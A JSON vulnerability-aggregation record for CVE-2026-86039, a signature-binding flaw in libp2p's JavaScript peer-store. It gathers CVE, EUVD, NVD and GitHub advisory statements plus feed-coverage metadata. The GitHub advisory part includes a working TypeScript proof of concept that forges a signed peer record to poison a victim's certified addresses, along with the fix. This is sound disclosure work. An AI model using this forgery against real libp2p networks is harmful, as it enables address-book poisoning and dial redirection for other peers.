{"id":"EUVD-2026-81686","revision":null,"records":[{"revision":"e2bc8e1a135740abb6adccc47b32bb49","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-86039","aliases":[],"title":"libp2p: PeerStore accepts attacker-signed PeerRecords for a victim peer ID and stores certified attacker addresses","description":"libp2p is a JavaScript implementation of the libp2p networking stack. From 8.0.0 until 12.0.24, @libp2p/peer-store in packages/peer-store/src/index.ts uses consumePeerRecord to verify a RecordEnvelope signature but does not require PeerRecord.peerId in the signed payload to equal the signer peer ID derived by RecordEnvelope.openAndCertify. The expectedPeer option checks only the envelope signer, and the gossipsub Peer Exchange path can provide the attacker's own peer ID as expectedPeer. An attacker can therefore sign a record with the attacker's key, place a victim peer ID and attacker-controlled multiaddrs in the payload, and have certified addresses stored for the victim. The poisoned addresses can cause address-book corruption, dial redirection or failure, routing manipulation, and reachability disruption, although the connection upgrade still verifies remote peer identity and prevents a complete identity takeover. The issue is fixed in version 12.0.24.","state":0,"publishedAt":"2026-09-17T15:19:00.697+00:00","modifiedAt":"2026-09-21T20:48:54.323+00:00","affected":[{"ecosystem":"Vendor product","name":"js-libp2p","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"libp2p\",\n                    \"product\": \"js-libp2p\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 8.0.0, < 12.0.24\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","score":8.2,"severity":"HIGH"}],"references":["https://github.com/libp2p/js-libp2p/security/advisories/GHSA-vrf4-mx87-p53w","https://github.com/libp2p/js-libp2p/pull/3570","https://github.com/libp2p/js-libp2p/commit/3bf5d395cbca1488eea6e87cd771e4613b661c30","https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.24"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-86039","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-86039","identifiers":["CVE-2026-86039"]},"retained":false,"historicalAffected":[]},{"revision":"e0c9935b78a447d6bc6ac2f691554657","observedAt":"2026-11-11T17:02:06.904+00:00","statement":{"source":"euvd","id":"EUVD-2026-81686","aliases":["CVE-2026-86039","GHSA-vrf4-mx87-p53w"],"title":"libp2p is a JavaScript implementation of the libp2p networking stack. From 8.0.0 until 12.0.24, @libp2p/peer-store in packages/peer-store/src/index.ts uses consumePeerRecord to verify a RecordEnvelope signature but does not require PeerReco…","description":"libp2p is a JavaScript implementation of the libp2p networking stack. From 8.0.0 until 12.0.24, @libp2p/peer-store in packages/peer-store/src/index.ts uses consumePeerRecord to verify a RecordEnvelope signature but does not require PeerRecord.peerId in the signed payload to equal the signer peer ID derived by RecordEnvelope.openAndCertify. The expectedPeer option checks only the envelope signer, and the gossipsub Peer Exchange path can provide the attacker's own peer ID as expectedPeer. An attacker can therefore sign a record with the attacker's key, place a victim peer ID and attacker-controlled multiaddrs in the payload, and have certified addresses stored for the victim. The poisoned addresses can cause address-book corruption, dial redirection or failure, routing manipulation, and reachability disruption, although the connection upgrade still verifies remote peer identity and prevents a complete identity takeover. The issue is fixed in version 12.0.24.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","score":8.2,"severity":null}],"references":["https://github.com/libp2p/js-libp2p/security/advisories/GHSA-vrf4-mx87-p53w","https://github.com/libp2p/js-libp2p/pull/3570","https://github.com/libp2p/js-libp2p/commit/3bf5d395cbca1488eea6e87cd771e4613b661c30","https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.24"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-81686","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 17, 2026, 3:19:00 PM","dateUpdated":"Sep 21, 2026, 8:48:54 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-81686","identifiers":["EUVD-2026-81686","CVE-2026-86039","GHSA-vrf4-mx87-p53w"]},"retained":false,"historicalAffected":[]},{"revision":"c9b3269f7c744e3fb7b2092f9853fbfe","observedAt":"2026-10-25T16:19:16.24+00:00","statement":{"source":"nvd","id":"CVE-2026-86039","aliases":[],"title":"libp2p is a JavaScript implementation of the libp2p networking stack. From 8.0.0 until 12.0.24, @libp2p/peer-store in packages/peer-store/src/index.ts uses consumePeerRecord to verify a RecordEnvelope signature but does not require PeerReco…","description":"libp2p is a JavaScript implementation of the libp2p networking stack. From 8.0.0 until 12.0.24, @libp2p/peer-store in packages/peer-store/src/index.ts uses consumePeerRecord to verify a RecordEnvelope signature but does not require PeerRecord.peerId in the signed payload to equal the signer peer ID derived by RecordEnvelope.openAndCertify. The expectedPeer option checks only the envelope signer, and the gossipsub Peer Exchange path can provide the attacker's own peer ID as expectedPeer. An attacker can therefore sign a record with the attacker's key, place a victim peer ID and attacker-controlled multiaddrs in the payload, and have certified addresses stored for the victim. The poisoned addresses can cause address-book corruption, dial redirection or failure, routing manipulation, and reachability disruption, although the connection upgrade still verifies remote peer identity and prevents a complete identity takeover. The issue is fixed in version 12.0.24.","state":0,"publishedAt":"2026-09-17T16:18:17.09+00:00","modifiedAt":"2026-09-24T21:19:05.34+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","score":8.2,"severity":"HIGH"}],"references":["https://github.com/libp2p/js-libp2p/commit/3bf5d395cbca1488eea6e87cd771e4613b661c30","https://github.com/libp2p/js-libp2p/pull/3570","https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.24","https://github.com/libp2p/js-libp2p/security/advisories/GHSA-vrf4-mx87-p53w"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86039","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-290","CWE-345"],"productCriteria":[],"sourceDates":{"published":"2026-09-17T16:18:17.090","lastModified":"2026-09-24T21:19:05.340"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-86039","identifiers":["CVE-2026-86039"]},"retained":false,"historicalAffected":[]},{"revision":"0ee8b3dfaac1480c803b7c9e8534f59e","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-vrf4-mx87-p53w","aliases":["CVE-2026-86039"],"title":"libp2p: PeerStore accepts attacker-signed PeerRecords for a victim peer ID and stores certified attacker addresses","description":"### Summary\n`@libp2p/peer-store` accepts a signed `PeerRecord` whose envelope is signed by one peer but whose payload claims a different peer ID. The vulnerable `consumePeerRecord` path verifies the envelope signature, but does not verify that the envelope signer is the same peer as the wrapped `PeerRecord.peerId`. As a result, an attacker can sign a record with their own key while placing a victim peer ID in the payload, causing attacker-controlled multiaddrs to be stored as certified addresses for the victim.\n\n### Details\nThe vulnerable code is in `packages/peer-store/src/index.ts`:\n\n- `RecordEnvelope.openAndCertify(buf, PeerRecord.DOMAIN, options)` verifies the envelope signature.\n- `const peerId = peerIdFromCID(envelope.publicKey.toCID())` derives the envelope signer peer ID.\n- The optional `expectedPeer` check only compares `expectedPeer` to the envelope signer.\n- `const peerRecord = PeerRecord.createFromProtobuf(envelope.payload)` decodes `peerRecord.peerId` from attacker-controlled signed payload bytes.\n- `this.patch(peerRecord.peerId, { peerRecordEnvelope: buf, addresses: ... isCertified: true })` stores the addresses under the payload peer ID, not the verified signer peer ID.\n\nThe missing invariant is:\n\n```ts\npeerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID()))\n```\n\n`packages/protocol-identify/src/utils.ts` already performs this check and can be used as the reference behavior:\n\n```ts\nif (!peerRecord.peerId.equals(envelopePeer)) {\n  throw new InvalidMessageError('signing key does not match PeerId in the PeerRecord')\n}\n```\n\nThe gossipsub Peer Exchange path reaches this code via `packages/gossipsub/src/gossipsub.ts` by calling:\n\n```ts\npeerStore.consumePeerRecord(pi.signedPeerRecord, { expectedPeer: peer })\n```\n\nThis does not prevent the bug because `peer` is derived from the wire `pi.peerID`. An attacker can set `pi.peerID` to their own peer ID, sign the envelope with their own key, and put the victim peer ID inside the wrapped `PeerRecord`.\n\n### PoC\n```ts\n// TypeScript ESM PoC.\nimport { strict as assert } from 'node:assert'\nimport { generateKeyPair } from '@libp2p/crypto/keys'\nimport { defaultLogger } from '@libp2p/logger'\nimport { peerIdFromPrivateKey } from '@libp2p/peer-id'\nimport { PeerRecord, RecordEnvelope } from '@libp2p/peer-record'\nimport { persistentPeerStore } from '@libp2p/peer-store'\nimport { multiaddr } from '@multiformats/multiaddr'\nimport { MemoryDatastore } from 'datastore-core/memory'\nimport { TypedEventEmitter } from 'main-event'\n\nconst label = 'Certified peer-record address hijack'\n\nasync function main (): Promise<void> {\n  const localKey = await generateKeyPair('Ed25519')\n  const attackerKey = await generateKeyPair('Ed25519')\n  const victimKey = await generateKeyPair('Ed25519')\n\n  const attacker = peerIdFromPrivateKey(attackerKey)\n  const victim = peerIdFromPrivateKey(victimKey)\n  const attackerAddr = multiaddr('/ip4/203.0.113.66/tcp/4001')\n\n  const peerStore = persistentPeerStore({\n    peerId: peerIdFromPrivateKey(localKey),\n    datastore: new MemoryDatastore(),\n    events: new TypedEventEmitter(),\n    logger: defaultLogger()\n  })\n\n  // Payload claims victim, but the envelope is signed by attacker.\n  const forgedRecord = new PeerRecord({\n    peerId: victim,\n    multiaddrs: [attackerAddr],\n    seqNumber: 999999n\n  })\n  const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey)\n\n  // Emulates gossipsub PX: pi.peerID == attacker, expectedPeer == attacker.\n  const accepted = await peerStore.consumePeerRecord(forgedEnvelope.marshal(), {\n    expectedPeer: attacker\n  })\n\n  assert.equal(accepted, true)\n\n  const poisonedVictim = await peerStore.get(victim)\n  assert.deepEqual(poisonedVictim.addresses.map(({ multiaddr, isCertified }) => ({\n    multiaddr: multiaddr.toString(),\n    isCertified\n  })), [{\n    multiaddr: attackerAddr.toString(),\n    isCertified: true\n  }])\n\n  console.log(`${label} reproduced`)\n  console.log(`attacker signer: ${attacker}`)\n  console.log(`victim storage key: ${victim}`)\n  console.log(`stored certified address: ${attackerAddr}`)\n}\n\nmain().catch(err => {\n  console.error(err)\n  process.exitCode = 1\n})\n```\n\nExpected output:\n\n```text\nCertified peer-record address hijack reproduced\nattacker signer: 12D3KooWEdL1GaEhVGrhsKhubbiNQxWYTbX27ywm5JJ6W5Zh81gj\nvictim storage key: 12D3KooWCZBY7mRMDfuWSR9p4X6qJQgNyYXrrnzozW4zSUPSJUFn\nstored certified address: /ip4/203.0.113.66/tcp/4001\n```\n\n### Impact\nAttackers can poison peer-store certified address records for third-party peers. Certified addresses are preferred by dial address sorting, so future dials to the victim may attempt attacker-controlled or invalid endpoints. This can cause reachability disruption, address-book poisoning, and routing manipulation for applications that consume untrusted signed peer records.\n\nThis does not by itself let the attacker complete an encrypted libp2p connection as the victim, because the connection upgrade path still verifies the remote peer identity. The demonstrated impact is certified address poisoning and dial redirection/failure, not a full peer identity takeover.","state":0,"publishedAt":"2026-09-17T18:01:38+00:00","modifiedAt":"2026-09-17T18:15:04.0740281+00:00","affected":[{"ecosystem":"npm","name":"@libp2p/peer-store","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"8.0.0"},{"kind":"fixed","version":"12.0.24"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/libp2p/js-libp2p/security/advisories/GHSA-vrf4-mx87-p53w","https://github.com/libp2p/js-libp2p/pull/3570","https://github.com/libp2p/js-libp2p/commit/3bf5d395cbca1488eea6e87cd771e4613b661c30","https://github.com/libp2p/js-libp2p","https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.24"],"sourceUrl":"https://github.com/advisories/GHSA-vrf4-mx87-p53w","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-vrf4-mx87-p53w","identifiers":["GHSA-vrf4-mx87-p53w","CVE-2026-86039"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-12T11:55:28.1860721+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-12T11:55:28.1860721+00:00","lastSuccessAt":"2026-11-12T11:55:28.4130785+00:00","error":null,"lastVerifiedAt":"2026-11-12T11:55:28.4130791+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-64752486c567b55b31fb0d7225f5222bcd0019564ac0ac5f0649e242c7b19299-4a4604796d7c0adea2c1c677026f25a1e039e4a95710b02ad846575329daaa79","complete":true,"records":424651,"lastAttemptAt":"2026-11-12T11:53:33.8199862+00:00","lastSuccessAt":"2026-11-12T11:53:33.7811873+00:00","error":null,"lastVerifiedAt":"2026-11-12T11:53:33.8199862+00:00","snapshotPublishedAt":"2026-11-12T11:27:22+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-0580dcc98aaa46a8935f8ff576f25037","complete":true,"records":13764,"lastAttemptAt":"2026-11-12T11:56:20.2141865+00:00","lastSuccessAt":"2026-11-12T11:56:20.209+00:00","error":null,"lastVerifiedAt":"2026-11-12T11:56:20.209+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13817,"expectedIdentifiers":13817,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-12T11:55:28.1860721+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-12T11:55:28.1860721+00:00","lastSuccessAt":"2026-11-12T11:55:28.4142299+00:00","error":null,"lastVerifiedAt":"2026-11-12T11:55:28.4142304+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-ea8d0b9744d8407d9df5932458afeb6a","complete":false,"records":13764,"lastAttemptAt":"2026-11-12T11:55:53.6222651+00:00","lastSuccessAt":"2026-11-12T11:55:53.618+00:00","error":null,"lastVerifiedAt":"2026-11-12T11:55:53.618+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13313,"expectedIdentifiers":13817,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-12T11:55:28.0344457+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-12T11:55:28.0344457+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-12T11:53:33.8856695+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-12T11:53:33.8856695+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f46f74c6a30a9b6e4cfb481719c6d35521ebec2d53ebf163223d093ae587eb9d","complete":true,"records":3106,"lastAttemptAt":"2026-11-12T11:55:28.1484531+00:00","lastSuccessAt":"2026-11-12T09:55:31.1176285+00:00","error":null,"lastVerifiedAt":"2026-11-12T11:55:28.1484531+00:00","snapshotPublishedAt":"2026-11-12T09:48:13+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-e59fd13399d7070c31f5f25102a6bcd537ccba91d773c8427fcf0d07ea0fe2d5","complete":true,"records":231700,"lastAttemptAt":"2026-11-12T11:55:27.8998515+00:00","lastSuccessAt":"2026-11-12T11:55:26.4268762+00:00","error":null,"lastVerifiedAt":"2026-11-12T11:55:27.8998515+00:00","snapshotPublishedAt":"2026-11-12T11:33:13+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}